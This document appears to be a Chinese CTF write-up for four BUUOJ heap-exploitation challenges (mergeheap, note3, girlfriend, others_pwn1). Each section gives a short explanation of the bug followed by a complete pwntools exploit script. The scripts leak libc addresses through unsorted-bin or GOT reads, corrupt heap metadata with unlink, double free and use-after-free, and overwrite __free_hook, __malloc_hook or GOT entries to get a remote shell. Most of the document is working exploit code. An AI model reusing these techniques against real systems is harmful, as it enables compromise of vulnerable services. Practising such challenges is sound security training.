目录
hwb_2019_mergeheap(unsorted bin泄露,strcat的利用)
这题主要利用的就是merge()函数中的漏洞
注意在merge两个堆时,使用的是strcpy和strcat,而·这两个函数都是遇到\x00才会停止的
而如果我们申请的content大小为8的奇数倍,由于chunk的复用就会导致size也变拷贝出来
利用思路:
- 申请八个Heap,然后倒着释放,此时heap[0]进入unsorted bin,申请一个8大小的chunk,使用show就能泄露main_arena+0xe0的地址,然后再申请一次把剩下的unsorted bin申请完
- 申请大小分别为0x30,0x38,0x100,0x68,0x20,0x20,0x20,0x20的content,编号为2-9,向9中写入/bin/sh,然后释放0x68[5],0x20[7],0x20[8],使用merget把2,3合并,此时由于strcat所以把0x20[6]这个chunk的size覆盖为0x111,接下来把[6]释放,申请0x100大小的chunk并把[7]的fd改为free_hook,之后申请出来覆盖为system地址,并释放9即可
Exp:
from pwn import *
menu = ">>"
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("len:")
r.sendline(str(size))
r.recvuntil("content:")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("idx:")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("idx:")
r.sendline(str(index))
def merge(index1, index2):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("idx1:")
r.sendline(str(index1))
r.recvuntil("idx2:")
r.sendline(str(index2))
r = remote("node3.buuoj.cn", 29116)
#r = process("./hwb_2019_mergeheap")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x1062)
x/10gx $rebase(0x2020A0)
c
''')
elf = ELF("./hwb_2019_mergeheap")
libc = ELF("./libc/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
for i in range(8):
add(0x80, 'aaa\n')
for i in range(1, 8):
delete(i)
delete(0)
add(8, 'aaaaaaaa') #0
show(0)
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0xE0 - 0x10
success("malloc_Hook:"+hex(malloc_hook))
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
add(0x60, 'aaaa\n') #1
add(0x30, 'a'*0x30) #2
add(0x38, 'b'*0x38) #3
add(0x100, 'c\n') #4
add(0x68, 'dd\n') #5
add(0x20, 'e\n') #6
add(0x20, 'f\n') #7
add(0x20, 'g\n') #8
add(0x20, '/bin/sh\n') #9
delete(5)
delete(7)
delete(8)
merge(2, 3) #5
delete(6)
payload = 'a' * 0x28 + p64(0x31) + p64(free_hook) + p64(0) + '\n'
add(0x100, payload) #6
add(0x20, 'hi\n') #7
add(0x20, 'hi\n') #8
add(0x20, p64(system) + '\n') #10
delete(9)
r.interactive()
zctf_2016_note3(强制转换溢出,unlink,修改GOT表)
这题其实和note2的思路也挺像
把shou功能去了,但是由于RELRO没有全开,我们只要把free的got改为puts就能泄露了
my_read中的强制转换溢出仍然存在
利用思路:
- unlink部分参考这里
- 从0x6020c8开始,写入p64(free_got)+p64(0)*2+p64(atoi_got)*2+p64(0)+p64(0)+p64(8)
- 先edit[0],把free got改为puts,然后delete[3],泄露atoi的地址,接着edit[4]把aoti的got改为system,输入/bin/sh即可
from pwn import *
r = remote("node3.buuoj.cn", 26395)
#r = process("./zctf_2016_note3")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400A29
x/10gx 0x6020C0
c
''')
elf = ELF("./zctf_2016_note3")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss_ptr = 0x6020C8
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts = elf.plt['puts']
menu = "option--->>\n"
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the length of the note content:(less than 1024)\n")
r.sendline(str(size))
r.recvuntil("Input the note content:\n")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Input the id of the note:\n")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Input the id of the note:\n")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Input the id of the note:\n")
r.sendline(str(index))
r.recvuntil("Input the new content:\n")
r.send(content)
payload = p64(0)+p64(0xa1)+p64(bss_ptr-0x18)+p64(bss_ptr-0x10)+'aaa\n'
add(0x80, payload)
add(0, 'idx1\n')
add(0x80, 'idx2\n')
add(8, 'idx3\n')
add(8, 'idx4\n')
add(8, 'idx5\n')
delete(1)
payload = 'a'*0x10 + p64(0xa0) + p64(0x90)+'\n'
add(0, payload) #4
delete(2)
payload = 'a'*0x18+p64(free_got)+p64(0)*2+p64(atoi_got)*2+p64(0)+p64(0)+p64(8)+'\n'
edit(0, payload)
edit(0, p64(puts))
r.sendline('4')
delete(3)
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc_base = atoi_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
success("libc_base:"+hex(libc_base))
success("atoi:" + hex(atoi_addr))
success("system:" + hex(system))
edit(4, p64(system)+'\n')
r.recvuntil(menu)
r.sendline('/bin/sh')
r.interactive()
starctf_2019_girlfriend(unsorted bin泄露,double free)
又是一道似曾相识的题目,这题和ciscn_2019_es_1其实是一个思路,不过那题有tcache这题没有,所以有一些微小的差别
- 第一次申请大小为0x80就能够释放后进入unsorted bin了
__malloc_hook
为泄露地址-0x58-0x10- double free的时候要采用交叉释放来绕过检查
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 26677)
#r = process("./starctf_2019_girlfriend")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xF41)
x/10gx $rebase(0x202060)
c
''')
elf = ELF("./starctf_2019_girlfriend")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "Input your choice:"
def add(size, content, phone):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Please input the size of girl's name\n")
r.sendline(str(size))
r.recvuntil("please inpute her name:\n")
r.send(content)
r.recvuntil("please input her call:\n")
r.sendline(phone)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Please input the index:\n")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Please input the index:\n")
r.sendline(str(index))
add(0x80, 'chunk0\n', '123')#0
add(0x68, 'chunk1\n', '123')#1
add(0x68, 'chunk2\n', '123')#2
add(0x68, '/bin/sh\n', '123')#3
delete(0)
show(0)
r.recvuntil("name:\n")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + one_gadget_16[3]
success("malloc_hook:"+hex(malloc_hook))
success("libc_base:"+hex(libc_base))
delete(1)
delete(2)
delete(1)
add(0x68, p64(malloc_hook-0x23)+'\n', '123')#3
add(0x68, p64(malloc_hook-0x23)+'\n', '123')#4
add(0x68, p64(malloc_hook-0x23)+'\n', '123')#5
payload = 'a'*(0x13-8) + p64(one_gadget) + p64(realloc)
add(0x68, payload+'\n', '123')#4
r.recvuntil(menu)
r.sendline('1')
r.interactive()
others_pwn1(UAF)
删除之后指针没有置空
编辑时候可以发现description的地址应该是name+0x48的位置,然而name可以读入0x60大小,以为着可以覆盖一个堆上指针,从而达到任意地址写
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29369)
#r = process("./others_pwn1")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400DCC
x/10gx 0x602060
c
''')
elf = ELF("./others_pwn1")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
read_got = elf.got['read']
menu = ">> "
def add(name, desc, size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Please give me the book's name :\n")
r.send(name)
r.recvuntil("Please input the description about the book:\n")
r.send(desc)
r.recvuntil("How many book you want to take?\n")
r.sendline(str(size))
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Which book you want to delete?\n")
r.sendline(str(index))
def show():
r.recvuntil(menu)
r.sendline('2')
def edit(index, name, choice, desc, size):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Which book you want to edit?\n")
r.sendline(str(index))
r.recvuntil("Please give me the book's name :\n")
r.send(name)
r.recvuntil("Do you want to change the description?(y/n)\n")
r.sendline(choice)
if choice == 'y':
r.recvuntil("Please input the description about the book:\n")
r.send(desc)
r.recvuntil("How many book you want to take?\n")
r.sendline(str(size))
add('idx0\n', 'aaa\n', 1)
add('idx1\n', 'aaa\n', 2)
add('/bin/sh\n', '/bin/sh\n', 3)
delete(0)
payload = p64(0)*9 + p64(read_got)
edit(0, payload, 'n', '', 3)
show()
r.recvuntil("description: ")
read_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = read_addr - libc.symbols['read']
system = libc.symbols['system']
free_hook = libc.sym['__free_hook']
success("libc_base:"+hex(libc.address))
delete(1)
payload = p64(0)*9 + p64(free_hook)
edit(1, payload, 'y', p64(system), 2)
delete(2)
r.interactive()